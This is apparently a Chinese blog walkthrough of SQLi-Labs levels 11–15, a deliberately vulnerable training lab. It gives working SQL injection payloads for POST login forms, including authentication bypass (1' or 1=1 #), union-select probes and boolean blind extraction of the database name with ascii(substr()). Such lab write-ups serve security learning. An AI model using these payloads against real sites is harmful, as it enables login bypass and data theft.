《SQLi-Labs》03. Less 11~15
阅读原文时间:2023年08月29日阅读:2

@

目录


sqli。开启新坑。

索引

  • Less-11:POST 回显注入,字符型【'】。
  • Less-12:POST 回显注入,字符型【")】。
  • Less-13:POST 回显注入,字符型【')】。
  • Less-14:POST 回显注入,字符型【"】。
  • Less-15:POST 布尔盲注,字符型【'】。

Less-11

第十一关页面发生了变化,是账户登录页面。那么注入点在输入框。

当输入 username 为 1 时出现错误图片。

输入 1' ,出现报错信息。根据报错信息可以推断该 sql 语句为:username='参数' and password='参数'

知道 sql 语句后可以构造一个恒成立的 sql 语句,看看查询出什么。

Username 输入(一个万能登录语句):

1' or 1=1 #

这里需要换成 “ # ” 来注释, 不能再用 “ --+ ”。

再看看联合查询:

1' union select 1, 2 #

都做到这里了,接下来的思路就和 Less-1 一样了。不多说了。

前十关使用的是 get 请求,参数都体现在 url 上,而十一关是 post 请求,参数在表单里。可以直接在输入框进行注入。

根据经验可以猜测 sql 语句。大概的形式应该是 “ username=参数 and password=参数 ”。

Less-12

这题,原理和 Less-11 一样。

输入 1" 时,根据报错信息可以判断出参数是双引号带括号的。

判断是否存在 sql 注入。

1") or 1=1 #

看看回显。

1") union select 1, 2 #

剩下的该怎么做,理解了 Less-11 与 Less-1 就知道了。

Less-13

原理和 Less-11 一样。

根据报错信息可以判断出参数是单引号带括号的。

剩下的不多说了。

Less-14

原理和 Less-11 一样。

为双引号字符串。

这几题都和 Less-11 一样。

Less-15

输入 1' 或者 1 时,错误回显。

输入 1' or 1=1 # 时,正确回显。

判断一下当前数据库名称的长度。

1' or length((select database()))>=8 #

得到数据库长度为 8。

然后通过一个一个字符串截取并通过 ASCII 码比较来得出数据库名。

1' or ascii(substr((select database()), 1, 1))=115 #
1' or ascii(substr((select database()), 2, 1))=101 #
...
1' or ascii(substr((select database()), 8, 1))=121 #

剩下的思路与过程,理解 Less-5 就会了。

布尔盲注。详见 Less-5。


半烟半雨溪桥畔,渔翁醉着无人唤。

——《菩萨蛮》(宋)黄庭坚